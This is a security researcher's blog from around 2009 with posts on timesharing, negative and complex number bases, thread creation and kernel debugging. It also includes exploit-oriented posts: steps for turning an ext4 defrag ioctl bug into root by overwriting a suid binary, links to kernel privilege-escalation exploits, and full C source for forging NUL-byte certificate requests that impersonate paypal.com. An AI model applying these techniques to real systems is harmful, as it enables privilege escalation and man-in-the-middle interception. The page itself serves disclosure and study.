Timesharing at 1964

January 14th, 2010 Fotis No comments Print Print

I recently found a youtube video (thanks stateless!) with professor Fernando Corbato. It is about timesharing, something revolutionary at 1964. MIT professor Corbato is the founder of Multics which later lead to the creation of UNIX. He has also received the Turing award for his work on resource sharing. The video lasts 27 minutes but it’s worth seeing, trust me! And you also get to see a REAL geek!

Categories: Operating Systems Tags:

Using non-standard bases

January 4th, 2010 Fotis 1 comment Print Print

There are a number of different bases, or radices. Most of us use the decimal positional numeral system, i.e. base 10 for our everyday jobs. When it comes to computers most people use the binary, the hexadecimal or even the octal numeral system. However, there are a number of different “unusual” bases.

For example, there are negative bases. An example is the negadecimal positional numeral system, that is using the base -10. Converting a number from base -10 to base 10 is as simple as:

d_1d_2d_3d_4\ _{(-10)} = d_1(-10)^3 + d_2(-10)^2 +d_3(-10)^1 + d_4(-10)^0

But why use such a base? It’s very simple, you can represent any number you want, positive or negative, without using a sign. For example:

-1_{(10)} = 1(-10)^1 + 9(-10)^0 = 19_{(-10)}

The conversion from decimal to negadecimal is pretty simple. You continuously divide by -10 and keep the remainder as you would do with any other positional numeral system. For example:

-256 = 26 * (-10) + 4

26 = -2 * (-10) + 6

-2 = 1 * (-10) + 8

1 = 0 * (-10) + 1

So -256_{10} = 1864_{-10}. Converting a positive number is done the same way too.

256 = -25 * (-10) + 6

-25 = 3 * (-10) + 5

3 = 0 * (-10) + 3

So 256_{(10)} = 356_{(-10)}. As you can see, there is no need for a sign symbol. And when using the negabinary numeral system there is no problem with signed and unsigned integers since there is no need for a sign bit!

But a negative base isn’t the only non-standard base. You can use complex numbers as bases too. This way there is no need to use a real and an imaginary part to represent a complex number. An example of such a base is -1 + i where of course i^2 = -1. A number can then have the form

d_1d_2d_3d_4 = d_1(-1 + i)^3 + d_2(-1 + i)^2 + d_3(-1 + i)^1 + d_4(-1 + i)^0, d_i \in {0,1}

Using this base you can represent any complex you want without using the i symbol.

Converting from this base to decimal is pretty simple, however the reverse is a little bit difficult. What you do for the convertion is divide continuously with -1 + i as usual. The remainder will always be 0 or 1. So, if the quotient is q = q_1 + q_2i then:

a + bi = (q_1 + q_2i)(-1 + i) + r

a + bi = -q_1 + q_1i - q_2i - q_2 + r

a + bi = (-q_1 - q_2 + r) + (q_1 - q_2)i

-q_1 - q_2 + r = a

q_1 - q_2 = b

q_1 = \frac{b - a + r}{2}

q_2 = \frac{-b - a + r}{2}

That means that if a and b are both odd or even, then r = 0, otherwise r = 1. Then we continue the division of the quotient as usual.

Now let’s calculate the value of 2.

2 has both the real and imaginary part even, so r = 0.

\frac{2}{-1 + i} = \frac{2(-1 - i)}{(-1 + i)(-1 - i)} = -1 - i

The real and imaginary part are both odd, so r = 0 again.

\frac{-1 - i}{-1 + i} = \frac{(-1 - i)(-1 - i)}{(-1 + i)(-1 - i)} = i

Since the real part is even and the imaginary is odd, r = 1. So, we can divide by the number minus 1 and the remainder will be 0.

\frac{i - 1}{-1 + i} = 1

Now, the real part is odd and the imaginary is even. So again r = 1. We divide by 1 - 1 so,

\frac{1 - 1}{-1 + i} = 0

We now stop since q = 0. So we have 2_{(10)} = 1100_{(-1 + i)}. Pretty cool!

Categories: Mathematics Tags:

Ext4 online defrag and how you can mess up everything when implementing it

December 20th, 2009 Fotis 2 comments Print Print

It’s been a long time since I last posted something at my blog. Unfortunatelly, I’m too busy so I have almost no time to write something!

This post is about the online defrag the ext4 filesystem supports. It is a very cool feature and allows you to defrag any file without even unmounting a filesystem! This is done using a special ioctl, EXT4_IOC_MOVE_EXT defined as follows:

1
#define EXT4_IOC_MOVE_EXT   _IOWR('f', 15, struct move_extent)

As you can see the ioctl’s last parameter is a special structure, struct move_extent, defined as:

1
2
3
4
5
6
7
8
struct move_extent {
    int orig_fd;
    int donor_fd;
    uint64_t orig_start;
    uint64_t donor_start;
    uint64_t len;
    uint64_t moved_len;
};

What the ioctl does is copy len extents from the file with descriptor orig_fd starting with orig_start to the one with descriptor donor_fd starting at donor_start. Finally it returns the total number of extents moved at the member moved_len. Using this syscall it is pretty easy to defrag files. You must first open a new file, which will be the donor, and allocate some space using fallocate. Hopefully the extents of the new file will be less than the ones of the original file so you just swap the extents of donor using the ones from the original file. The following code is a simple call to this ioctl which can help you understand how it works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int origfd, donorfd;
int origsize;
struct move_extent me;
char *origfile, *donorfile;
 
/* origfile, donorfile and origsize should be set here */
 
if((origfd = open(origfile, O_RDONLY | O_EXCL)) < 0) {
    perror("Cannot open original file");
    exit(1);
}
 
if((donorfd = open(donorfile, O_WRONLY | O_CREAT | O_EXCL)) < 0) {
    perror("Cannot create donor file");
    exit(1);
}
 
if(fallocate(donorfd, 0, 0, origsize) < 0) {
    perror("Cannot allocate space for donor");
    exit(1);
}
 
memset(&me, 0, sizeof(me));
me.orig_fd = origfd;
me.donor_fd = donorfd;
me.orig_start = 0;
me.donor_start = 0;
me.len = extentcnt;
 
if(ioctl(origfd, EXT4_IOC_MOVE_EXT, &me) < 0) {
    perror("Cannot move extents");
    exit(1);
}
 
printf("Moved extents: %i\n", me.moved_len);
 
close(origfd);
close(donorfd);

You should note that there is no restriction on the doner file, it can be any file on the disk.

And here it is! CVE-2009-4131! Until commit 910123ba363623f15ffb5d05dd87bdf06d08c609 the only check was if the user could read the donor file, not write it! Furthermore, there were no checks on the file’s mode. You can simply open your program which executes /bin/sh as the original file, /bin/ping as the donor and kaboom! /bin/ping is an suid root executable and the code that will be executed will be your code!

I have written a small program that you can use to demonstrate this vulnerability. It simply moves extents. You can download it here. Just use a program that spawns a shell as the original file, a suid root file as a donor, zero as the offset and ceil(filesize/1024) as len. However, it is not very usable yet since for some strange reason you need to unmount the fs and then remount it in order for the changes to take effect. If you find a solution just leave a comment!

UPDATE: Try reading a LOT of data from the partition after running the program! Damn cache! I shouldn’t have been working with a filesystem that’s 10mbs and store only the executable there!

Categories: Linux, Programming Tags:

Concurrent programming the fast and dirty way!

November 20th, 2009 Fotis No comments Print Print

Creating threads, mutexes, setting attributes and joining can be very easy using the pthreads library. However, there are times when you don’t want to link your program with another library or you need something fast. As an example you can see the pipe exploit where I need only two threads to trigger the race condition.

Here’s a simple way to create these threads. First, we need to allocate the stack for the thread using malloc(3) and then we can start it using clone(2).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int koko(void *arg)
{
    /* do something concurrently with main */
}
 
int start_thread(int (*func)(void *), void *arg)
{
    int thread_id;
    char *stack;
 
    if((stack = malloc(0x4000)) == NULL) {
        perror("malloc");
        return -1;
    }
 
    if((thread_id = clone(func, stack + 0x4000 - sizeof(unsigned long), CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_VM | CLONE_THREAD, arg)) < 0) {
        perror("clone");
        return -1;
    }
 
    return thread_id;
}
 
int main()
{
    int thread_id;
    if((thread_id = startthread(koko, NULL)) == -1) {
        printf("Couldn't start thread.\n");
        exit(1);
    }
 
    /* This runs together with koko */
}

Using this code we create a new thread running in the same thread group. This means that calling getpid(2) will return the same pid. In order to distinguish threads in the same thread group you must use gettid(2) to get the thread id.

When creating a thread in the same thread group you cannot get the return value from the function you called. In order to get this value when it finishes you must create a thread in a new thread group which will be assigned a new pid and then call wait(2). To create such a thread you have to remove the CLONE_THREAD flag and replace it with SIGCHLD which will be the signal that will be send to the parent when the function returns. If we choose to send another signal, then wait(2) should be called with the __WALL or __WCLONE options.

These were the basics of creating threads. However, creating threads is only a part of concurrent programming. We will now create spinlocks using some internal functions of gcc. So, here are lock and unlock functions.

1
2
3
4
5
6
7
8
9
10
void lock(int spinlock)
{
    while(__sync_lock_test_and_set(&spinlock, 1))
        ;
}
 
void unlock(int spinlock)
{
    __sync_lock_release(&amp;spinlock);
}

It’s pretty simple using the functions gcc provides us. You can find more at the gcc documentation about atomic builtins.

Categories: Linux, Programming Tags:

Site update

November 14th, 2009 Fotis 1 comment Print Print

I have moved my site to another host. So if you have any problems please contact me or leave a comment.

More posts will come soon!

Categories: Blog Tags:

Linux kernel pipe NULL pointer dereference exploit (CVE-2009-3547)

November 5th, 2009 Fotis 5 comments Print Print

Another exploit for the kernel pipe NULL pointer dereference bug. This one is inspired by Spender’s great work for his enlightenment framework. It seems to exist at every 2.6 and 2.4 kernel version I’ve tested! Another sock_sendpage maybe? This sample exploit only works for versions >= 2.6.17. You can download it here. As usual more information in the code. This time there are some funny quotes too! I haven’t done a lot of tests, so any feedback, and especially versions you have tested it and it worked, is welcome!

EDIT: New version is out. It adds support for the detection of kernels compiled with spinlock debugging options. Download it here.

Categories: Exploits, Security Tags:

Loading symbols when debugging the kernel and kernel modules

October 29th, 2009 Fotis No comments Print Print

Recently I received some comments from a friend about a previous article on linux kernel debugging using kgdb. What he asked me was how could he load symbols from a kernel or a kernel module. So I wrote a quick guide to help you start with kernel debugging. After each step I will show you the gdb output.

First of all you should start gdb!

$ gdb
GNU gdb (GDB) 6.8.50.20090628-cvs-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb)

Then you should load all kernel symbols from the vmlinux file. This can be found at the directory where you compiled the kernel, most probably /usr/src/linux. Remember to compile the kernel using debug information by setting the appropriate option, it will help you a lot!

(gdb) file vmlinux
Reading symbols from /home/fotisl/programs/kgdb/vmlinux...done.
(gdb)

You’re ready to start debugging! Set the target and use the Alt-SysRq-G sequence as it was described at the previous post. You can now set breakpoints, watch anything you want in memory, step or continue running the kernel!

(gdb) target remote /dev/pts/12
Remote debugging using /dev/pts/12
kgdb_breakpoint (key=103, tty=0x0) at kernel/kgdb.c:1721
1721            wmb(); /* Sync point after breakpoint */
(gdb)

Now let’s see how we can debug kernel modules. I will test the l2cap bluetooth kernel module.

You first need to find the object file which contains the module. For l2cap this is net/bluetooth/l2cap.o in the kernel source tree. Transfer this to the host (or the machine running gdb if you’re not using a virtual machine). Then load the module in the virtual machine. This creates a new directory in /sys/module named after the module name, i.e. l2cap. Inside this directory, there is another one named sections which contains the addresses where all sections are loaded. We are interested in the .text section so we read the file /sys/module/l2cap/sections/.text.

$ cat /sys/module/l2cap/sections/.text
0xe0c77000

We know where the .text section is loaded so we can now load the symbols from l2cap.o using the add-symbol-file gdb command.

(gdb) add-symbol-file l2cap.o 0xe0c77000
add symbol table from file "l2cap.o" at
        .text_addr = 0xe0c77000
(y or n) y
Reading symbols from /home/fotisl/programs/kgdb/l2cap.o...done.
(gdb)

If you need to load other sections too, in case they are not contiguous with the text in memory, you need to read their addresses. For example we’ll load both the .text and the .data sections (you should do .bss too but it’s omitted since I wanted to write a quick and dirty guide and it’s already very big!)

Find where both .text and .data are loaded.

$ cat /sys/module/l2cap/sections/.text
0xe0c77000
$ cat /sys/module/l2cap/sections/.data
0xe0c7b438

Then you load apart from the .text section the .data too.

(gdb) add-symbol-file l2cap.o 0xe0c77000 -s .data 0xe0c7b438
add symbol table from file "l2cap.o" at
        .text_addr = 0xe0c77000
        .data_addr = 0xe0c7b438
(y or n) y
Reading symbols from /home/fotisl/programs/kgdb/l2cap.o...done.
(gdb)

You’re now ready to start debugging your kernel module!

Categories: Linux, Linux Kernel, Programming Tags:

Ecryptfs NULL pointer dereference exploit (CVE-2009-2908)

October 17th, 2009 Fotis 1 comment Print Print

Commit afc2b6932f48f200736d3e36ad66fee0ec733136 at the linux kernel is about a NULL pointer dereference that happens under certain circumstances. As many of you already know, NULL pointer dereferences are exploitable and are actually a “hot topic” lately. You can find a lot of references, such as Julien Tinnes’ great blog post, Brad Spender’s enlightenment framework, etc. I haven’t seen any exploits for this bug yet so I’ve written one. You can download it here. I won’t go into details here, you can read the source code which is full of helpful comments. A description of the exploit would be actually a copy/paste of all the comments here, so it’s better to read the entire source code!

Categories: Exploits, Security Tags:

Setting default options and bindings for sockets.

October 10th, 2009 Fotis No comments Print Print

Recently one of the people I follow at twitter (yes, I have a twitter account, you can follow me!) asked if anyone knew an option for lynx which would make it bind to a certain interface. I searched the manual page but there was no such option. Some programs, like netkit telnet, have an option to bind to a certain address, which can be very useful and especially when you’ve joined a VPN.

The first thing that came to my mind is write a library which would automatically bind new sockets to a certain address and then use the environment variable LD_PRELOAD so that the runtime linker would load it when a new program was run. The library should overwrite the socket(2) function and replace it with one which would run the original function to create the socket and then immediately bind it to an address. This address would be taken from an environment variable. And since I wrote the wrapper for socket(2) I could add some extra functionality such as setting various options with setsockopt(2). I wanted the program to be very efficient so it shouldn’t lookup the old socket(2) function each time the wrapper was called. In order to do this I should store the original address of the function at some variable at the beginning. This could be done in a check in the wrapper function and if the address was equal to NULL, then all initialization would take place. However, that would mean an extra check at every call. So I created a constructor which would be called when the library was initially loaded. I used a very low priority so that the constructor was run before any other constructors which could open a socket.

The program is named sockopts and you can find it at my main page, under the programs section. For the moment I have tested it at my local box having one ethernet interface and an openvpn running with a tap interface. And it works great! If you have a feature request or you found that something is broken you can leave a comment here or just email me.

Categories: Networking, Programming Tags:

The NULL certificate prefix bug

October 3rd, 2009 Fotis No comments Print Print

Before some months, at the Black Hat 2009, Moxie Marlinspikes and Dan Kaminsky presented a vulnerability that exists at some implementations of SSL.

It’s concept is pretty simple, you request a certificate having as a CN (common name) www.paypal.com\x00.example.com. This can be easy, especially for some public key infrastructures operated by companies for their internal needs, where server certificates are issued automatically as long as the CN is a host under a specific domain. However, since many SSL implementations use strcmp for validating the remote host, they will only check if the host is equal to the part before \x00! So a malicious user can simply issue such a certificate and using spoofing he can start a man in the middle attack. Furthermore, it is possible to issue a certificate with a CN such as *.paypal.com\x00.example.com which will match all hosts under the paypal.com domain. Or even the CN *\x00.example.com which will match… everything! Jacob Appelbaum has created such a certificate and posted it to the Noisebridge-discuss mailing list.

Firefox 3.5.2 and 3.0.13 have fixed this vulnerability, however I checked with the Internet Explorer browser today and it still has this bug. The test was done at a friend’s pc so I don’t know exactly the patches he has applied or when he last run windows update. It is very interesting that it probably uses the strcpy function for copying the value of CN to the buffer where it keeps the certificate information so when you try to see them, you only see www.paypal.com!

You can use the following program to create your own certificate requests. You run it as follows:

1
$ ./gennullreq www.paypal.com exploit.example.com "Exploit department" "Example Organization" GR

At the output you will get the private key and the certificate request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/*
 * Generate certificate requests containing the NULL byte.
 * Default values are used, like 512 bits.
 * By Fotis Loukos <fotisl@gmail.com>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/x509v3.h>
#include <openssl/rsa.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/err.h>
 
BIO *bio_err;
 
void initssl()
{
    CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ON);
    bio_err = BIO_new_fp(stderr, BIO_NOCLOSE);
}
 
void finssl()
{
    CRYPTO_cleanup_all_ex_data();
    CRYPTO_mem_leaks(bio_err);
    BIO_free(bio_err);
}
 
int main(int argc, char **argv)
{
    RSA *rsa;
    EVP_PKEY *privkey;
    X509_REQ *req;
    X509_NAME *name;
    char cn[256];
 
    if(argc != 6) {
        fprintf(stderr, "usage: %s <fake> <append> <ou> <o> <c>\n", argv[0]);
        exit(1);
    }
 
    strncpy(cn, argv[1], 256);
    /* The next byte is already \x00 */
    strncpy(cn + strlen(argv[1]) + 1, argv[2], 256 - strlen(argv[1]) - 1);
 
    initssl();
 
    if((privkey = EVP_PKEY_new()) == NULL) {
        fprintf(stderr, "Cannot allocate memory for private key.\n");
        finssl();
        exit(1);
    }
 
    if((req = X509_REQ_new()) == NULL) {
        fprintf(stderr, "Cannot allocate memory for certificate request.\n");
        finssl();
        exit(1);
    }
 
    fprintf(stderr, "Generating RSA keypair...\n");
    if((rsa = RSA_generate_key(512, RSA_F4, NULL, NULL)) == NULL) {
        fprintf(stderr, "Cannot generate keypair:\n");
        fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL));
        finssl();
        exit(1);
    }
 
    if(!EVP_PKEY_assign_RSA(privkey, rsa)) {
        fprintf(stderr, "Cannot assign keypair to private key.\n");
        finssl();
        exit(1);
    }
 
    X509_REQ_set_pubkey(req, privkey);
 
    name = X509_REQ_get_subject_name(req);
    X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, argv[5], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, argv[4], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "OU", MBSTRING_ASC, argv[3], -1, -1, 0);
    X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, cn,
            strlen(argv[1]) + 1 + strlen(argv[2]), -1, 0);
 
    if(!X509_REQ_sign(req, privkey, EVP_sha1())) {
        fprintf(stderr, "Cannot sign request.\n");
        finssl();
        exit(1);
    }
 
    fprintf(stderr, "Private key:\n");
    PEM_write_RSAPrivateKey(stdout, rsa, NULL, NULL, 0, NULL, NULL);
    fprintf(stderr, "Request:\n");
    PEM_write_X509_REQ(stdout, req);
 
    X509_REQ_free(req);
    EVP_PKEY_free(privkey);
 
    finssl();
 
    return 0;
}
Categories: Programming, Security Tags:
SEO Powered by Platinum SEO from Techblissonline